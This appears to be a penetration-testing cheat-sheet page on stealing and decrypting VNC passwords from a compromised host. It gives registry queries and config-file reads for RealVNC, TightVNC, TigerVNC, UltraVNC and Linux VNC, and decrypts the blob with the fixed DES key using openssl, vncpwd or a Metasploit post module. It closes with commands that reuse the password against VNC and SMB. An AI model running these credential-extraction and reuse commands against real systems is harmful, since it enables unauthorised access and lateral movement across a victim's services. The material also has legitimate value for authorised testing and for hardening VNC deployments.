Skip to content
HackIndex logo

HackIndex

VNC Password Hash Extraction and Decryption

2 min read Jul 10, 2026

VNC passwords are stored as DES-encrypted blobs using a fixed hardcoded key. The encryption is fully reversible — it is obfuscation, not real protection. From a foothold on the target, pull the blob from the registry or config file and decrypt it instantly to recover the plaintext password.

Storage Locations by VNC Implementation

RealVNC (Windows registry):

C:\Users\Guest\Desktop> reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v Password

TightVNC (Windows registry):

C:\Users\Guest\Desktop> reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v Password
C:\Users\Guest\Desktop> reg query HKEY_CURRENT_USER\Software\TightVNC\Server /v Password

TigerVNC (Windows registry):

C:\Users\Guest\Desktop> reg query HKEY_LOCAL_MACHINE\SOFTWARE\TigerVNC\WinVNC4 /v Password

UltraVNC (config file):

C:\Users\Guest\Desktop> type "C:\Program Files\UltraVNC\ultravnc.ini"

Look for passwd= and passwd2= lines.

Linux VNC (file):

C:\Users\Guest\Desktop> xxd ~/.vnc/passwd | head

The password blob is always 8 bytes — 16 hex characters. Sample registry output:

Password    REG_BINARY    D7A514D8C556AADE

Decryption with openssl

The fixed DES key shared by all VNC implementations is e84ad660c4721ae0. Decrypt directly — no extra tools needed:

┌──(kali㉿kali)-[~]
└─$ echo -n D7A514D8C556AADE | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d | cat

Replace D7A514D8C556AADE with your extracted blob. The plaintext password prints to stdout.

Decryption with vncpwd

┌──(kali㉿kali)-[~]
└─$ wget https://aluigi.altervista.org/pwdrec/vncpwd.zip
┌──(kali㉿kali)-[~]
└─$ unzip vncpwd.zip && gcc vncpwd.c -o vncpwd
┌──(kali㉿kali)-[~]
└─$ ./vncpwd D7A514D8C556AADE

Works with all major VNC implementations.

Extracting the Blob from a Linux passwd File

┌──(kali㉿kali)-[~]
└─$ cat ~/.vnc/passwd | xxd -p | head -c 16

Pass the output hex directly to the openssl one-liner above.

Automated Extraction with Metasploit Post Module

┌──(kali㉿kali)-[~]
└─$ use post/multi/gather/vnc_credential_gather
┌──(kali㉿kali)-[~]
└─$ set SESSION 1
┌──(kali㉿kali)-[~]
└─$ run

Queries all known registry paths, extracts blobs, and decrypts automatically.

What to Do After Decryption

Connect directly:

┌──(kali㉿kali)-[~]
└─$ vncviewer $TARGET_IP:5900

Also test the password against other services — VNC passwords are frequently reused on SSH, RDP, and SMB:

┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $USER -p $PASSWORD -d $DOMAIN

References